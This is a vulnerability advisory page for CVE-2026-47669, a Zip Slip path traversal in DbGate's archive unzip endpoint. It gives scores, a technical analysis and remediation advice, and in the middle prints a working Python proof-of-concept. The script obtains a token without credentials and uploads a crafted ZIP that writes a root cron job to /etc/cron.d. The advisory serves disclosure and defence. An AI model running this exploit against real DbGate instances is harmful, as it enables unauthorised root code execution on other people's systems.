Which versions of DbGate are affected by CVE-2026-47669?

DbGate container deployments on versions 7.1.8 and earlier are at critical risk of remote compromise by unauthenticated attackers with publicly available exploit code.. A patch is available.

How to fix or mitigate CVE-2026-47669?

Within 24 hours: Identify all DbGate instances in production (versions 7.1.8 or earlier) and assess network exposure. Within 7 days: Deploy DbGate 7.1.9 to all affected instances, prioritizing internet-facing and production systems. Within 30 days: Verify patch deployment across all environments, review container logs for exploitation attempts, and implement network segmentation to restrict DbGate access.

DbGate CVE-2026-47669

Q: What is the CVSS score of CVE-2026-47669?

CVE-2026-47669 has a CVSS 4.0 base score of 9.3 (Critical). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.1%.

EUVD-2026-48377 CRITICAL

Path Traversal (CWE-22)

2026-06-05 https://github.com/dbgate/dbgate

GHSA-h535-j5hr-mv56

Python Docker Path Traversal

9.3

CVSS 4.0 · Vendor: https://github.com/dbgate/dbgate

Severity by source

Vendor (https://github.com/dbgate/dbgate) PRIMARY

9.3 CRITICAL

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from Vendor (https://github.com/dbgate/dbgate) · only source for this CVE.

CVSS VectorVendor: https://github.com/dbgate/dbgate

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Lifecycle Timeline

Re-analysis Queued

Jul 23, 2026 - 20:22 vuln.today

cvss_changed

CVSS changed

Jul 23, 2026 - 20:22 NVD

9.3 (CRITICAL)

Source Code Evidence Fetched

Jun 05, 2026 - 16:52 vuln.today

Analysis Generated

Jun 05, 2026 - 16:52 vuln.today

DescriptionCVE.org

The unzipDirectory() function in packages/api/src/shell/unzipDirectory.js (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with ../ entries writes files anywhere on the filesystem.

In the default Docker deployment, DbGate runs as root and the none auth provider issues JWT tokens without credentials via POST /auth/login, so this is exploitable by any network-adjacent attacker.

Affected code:

packages/api/src/shell/unzipDirectory.js, line 27:

const destPath = path.join(outputDirectory, entry.fileName);
// No check that destPath stays within outputDirectory

Called from packages/api/src/controllers/archive.js, lines 291-293:

async unzip({ folder }) {
    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });
    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));

The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.

PoC:

python

import requests, zipfile, io

TARGET = "http://localhost:3000"
# Get auth token (no credentials needed in default Docker)
r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"})
token = r.json()["accessToken"]
hdrs = {"Authorization": f"Bearer {token}"}
# Create malicious ZIP with path traversal
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
    zf.writestr("../../../../../../etc/cron.d/dbgate-pwn",
                "* * * * * root id > /tmp/pwned\n")
buf.seek(0)
# Upload ZIP
r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs,
                  files={"data": ("evil.zip", buf, "application/zip")})
info = r.json()
# Save to archive
requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs,
              json={"filePath": info["filePath"], "fileName": "evil.zip"})
# Trigger Zip Slip - writes cron job to /etc/cron.d/
requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs,
              json={"folder": "evil.zip"})
print("Check /tmp/pwned after 1 minute")

Impact: Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.

AnalysisAI

Remote code execution in DbGate versions 7.1.8 and earlier allows network-adjacent attackers to achieve full container compromise via a Zip Slip flaw in the archive unzip endpoint. Because the default Docker deployment runs as root and the bundled 'none' authentication provider issues JWT tokens without credentials, any attacker reachable on the network can upload a malicious ZIP that writes files anywhere on the filesystem, including cron entries for code execution. Publicly available exploit code exists in the GHSA advisory itself, and an upstream patched release (7.1.9) is available.

Technical ContextAI

DbGate is an open-source database management web application distributed as the npm package 'dbgate' (pkg:npm/dbgate) and commonly deployed as a Docker container. The root cause is a CWE-22 path traversal in packages/api/src/shell/unzipDirectory.js at line 27, where destPath is computed as path.join(outputDirectory, entry.fileName) without verifying that the resolved path remains within outputDirectory. This is the canonical 'Zip Slip' pattern: archive entries containing '../' sequences resolve outside the intended extraction directory. The vulnerable function is invoked from the archive controller's unzip handler (packages/api/src/controllers/archive.js, lines 291-293), which exposes the behavior over HTTP and, per the advisory, lacks both permission checks and path traversal protection across its endpoints. The exposure is amplified by two deployment characteristics: the default Docker image runs the Node.js process as root, and the 'none' auth provider mints valid JWTs from POST /auth/login without any credentials.

RemediationAI

Vendor-released patch: upgrade dbgate to version 7.1.9 or later, available at https://github.com/dbgate/dbgate/releases/tag/v7.1.9, per the GHSA advisory at https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56; for Docker users this means pulling the 7.1.9 (or newer) image tag and redeploying. If immediate upgrade is not possible, disable the 'none' authentication provider and require a real auth backend so that anonymous POST /auth/login no longer mints valid JWTs (trade-off: existing automation that relied on credential-less access will break and must be reconfigured). Additionally restrict network exposure of the DbGate API to trusted administrative networks via firewall, reverse-proxy ACLs, or a VPN, since the archive/unzip and uploads endpoints are the attack surface (trade-off: remote users must connect through the chosen access path). Where feasible, run the container as a non-root user and mount the filesystem read-only outside the archive directory to blunt the arbitrary-file-write primitive (trade-off: may require image rebuild and breaks any feature that writes outside the archive dir).